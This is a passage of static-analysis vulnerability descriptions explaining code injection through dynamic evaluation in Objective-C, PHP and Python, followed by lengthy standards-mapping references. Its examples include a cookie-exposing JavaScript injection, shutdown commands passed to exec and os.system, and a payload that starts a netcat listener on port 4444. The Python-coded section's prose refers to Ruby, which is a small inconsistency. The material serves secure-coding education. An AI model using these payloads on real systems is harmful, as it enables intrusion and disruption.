[_webView evaluateJavaScript:[NSString stringWithFormat:@"document.body.style.backgroundColor="%@";", _inputTextField.text] completionHandler:nil];
...


The program behaves correctly when the UITextField input is a benign value, such as "blue", in which case the <body> element within webView would be styled to have a blue background. However, if an attacker provides malicious input that is still valid, he or she may be able to execute arbitrary JavaScript code. For example, because JavaScript can access certain types of private information such as cookies, if an attacker were to specify "white";document.body.innerHTML=document.cookie;"" as input to the UITextField, cookie information would be visibly written to the page. Such attacks are even more dangerous when the underlying language provides access to system resources or allows the execution of system commands, as in those scenarios injected code is executed with the full privilege of the parent process.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.objc.dynamic_code_evaluation_code_injection
Abstract
Interpreting user-controlled instructions at run-time can allow attackers to execute malicious code.
Explanation
Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example 1: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.


...
$userOps = $_GET['operation'];
$result = eval($userOps);
...


The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the result variable is assigned a value of 22. However, if an attacker specifies operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, if an attacker were to specify " exec('shutdown -h now')" as the value of operation, a shutdown command would be executed on the host system.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.php.dynamic_code_evaluation_code_injection
Abstract
Interpreting user-controlled instructions at run-time can allow attackers to execute malicious code.
Explanation
Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.

Example 1: In this classic code injection example, the application implements a basic calculator that allows the user to specify commands for execution.


...
userOps = request.GET['operation']
result = eval(userOps)
...


The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the result variable is assigned a value of 22. However, if an attacker specifies operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. For example, if an attacker were to specify " os.system('shutdown -h now')" as the value of operation, a shutdown command would be executed on the host system.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
desc.dataflow.python.dynamic_code_evaluation_code_injection
Abstract
Interpreting user-controlled instructions at run-time can allow attackers to execute malicious code.
Explanation
Many modern programming languages allow dynamic interpretation of source instructions. This capability allows programmers to perform dynamic instructions based on input received from the user. Code injection vulnerabilities occur when the programmer incorrectly assumes that instructions supplied directly from the user will perform only innocent operations, such as performing simple calculations on active user objects or otherwise modifying the user's state. However, without proper validation, a user might specify operations the programmer does not intend.
Example 1: In this code injection example, the application implements a basic calculator that allows the user to specify commands for execution.


...
user_ops = req['operation']
result = eval(user_ops)
...


The program behaves correctly when the operation parameter is a benign value, such as "8 + 7 * 2", in which case the result variable is assigned a value of 22. However, if an attacker specifies languages operations that are both valid and malicious, those operations would be executed with the full privilege of the parent process. Such attacks are even more dangerous when the underlying language provides access to system resources or allows execution of system commands. With Ruby this is allowed, and as multiple commands can be run by delimiting the lines with a semi-colon (;), it would also enable being able to run many commands with a simple injection, whilst still not breaking the program.
If an attacker were to submit for the parameter operation "system(\"nc -l 4444 &\");8+7*2", then this would open port 4444 to listen for a connection on the machine, and then would still return the value of 22 to result
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 95, CWE ID 494
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [18] CWE ID 094
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [17] CWE ID 094
[4] Standards Mapping - Common Weakness Enumeration Top 25 2022 [25] CWE ID 094
[5] Standards Mapping - Common Weakness Enumeration Top 25 2023 [23] CWE ID 094
[6] Standards Mapping - Common Weakness Enumeration Top 25 2024 [11] CWE ID 094
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001764, CCI-001774, CCI-002754
[8] Standards Mapping - FIPS200 SI
[9] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[10] Standards Mapping - NIST Special Publication 800-53 Revision 4 CM-7 Least Functionality (P1), SI-10 Information Input Validation (P1)
[11] Standards Mapping - NIST Special Publication 800-53 Revision 5 CM-7 Least Functionality, SI-10 Information Input Validation
[12] Standards Mapping - OWASP Application Security Verification Standard 4.0 1.14.2 Configuration Architectural Requirements (L2 L3), 5.2.4 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.5 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.2.8 Sanitization and Sandboxing Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.5.4 Deserialization Prevention Requirements (L1 L2 L3), 10.3.2 Deployed Application Integrity Controls (L1 L2 L3), 12.3.3 File Execution Requirements (L1 L2 L3), 14.2.3 Dependency (L1 L2 L3)
[13] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[14] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[15] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-2
[16] Standards Mapping - OWASP Top 10 2004 A6 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[18] Standards Mapping - OWASP Top 10 2010 A1 Injection
[19] Standards Mapping - OWASP Top 10 2013 A1 Injection
[20] Standards Mapping - OWASP Top 10 2017 A1 Injection
[21] Standards Mapping - OWASP Top 10 2021 A03 Injection
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.6
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[34] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116, Risky Resource Management - CWE ID 094
[35] Standards Mapping - SANS Top 25 2010 Risky Resource Management - CWE ID 494
[36] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 494
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3570 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3570 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3570 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3570 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3570 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3570 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3570 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-001480 CAT II, APSC-DV-001490 CAT II, APSC-DV-002560 CAT I
